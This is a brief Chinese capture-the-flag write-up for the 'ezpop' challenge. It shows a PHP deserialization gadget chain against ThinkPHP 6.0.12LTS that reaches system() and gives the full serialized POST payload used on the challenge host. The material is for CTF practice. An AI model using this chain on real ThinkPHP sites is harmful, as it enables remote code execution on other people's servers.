初赛-ezpop-writeup

先在网上搜一波 ThinkPHP V6.0.12LTS 的漏洞

简书：https://www.jianshu.com/p/92018015ec5e

POC

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

后台扫描

发现了网站备份文件 www.zip

下载下来，解压，发现了源码

代码审计

在 Index 控制器中发现了相应的反序列化漏洞

访问 http://eci-2ze3qe3v4f3btci34jeh.cloudeci1.ichunqiu.com/index.php/Index/test

POST a=O:17:"think\model\Pivot":7:{s:21:"think\ModellazySave";b:1;s:17:"think\Modeldata";a:1:{s:6:"whoami";a:1:{i:0;s:3:"dir";}}s:19:"think\Modelexists";b:1;s:8:"table";O:17:"think\model\Pivot":7:{s:21:"think\ModellazySave";b:1;s:17:"think\Modeldata";a:1:{s:6:"whoami";a:1:{i:0;s:3:"dir";}}s:19:"think\Modelexists";b:1;s:8:"table";s:0:"";s:21:"think\ModelwithAttr";a:1:{s:6:"whoami";a:1:{i:0;s:6:"system";}}s:7:"json";a:2:{i:0;s:6:"whoami";i:1;a:1:{i:0;s:6:"whoami";}}s:12:"jsonAssoc";b:1;}s:21:"think\ModelwithAttr";a:1:{s:6:"whoami";a:1:{i:0;s:6:"system";}}s:7:"json";a:2:{i:0;s:6:"whoami";i:1;a:1:{i:0;s:6:"whoami";}}s:12:"jsonAssoc";b:1;}

POST数据就是之前那个简书的代码运行出来，然后base64解码即可

得到当前目录的文件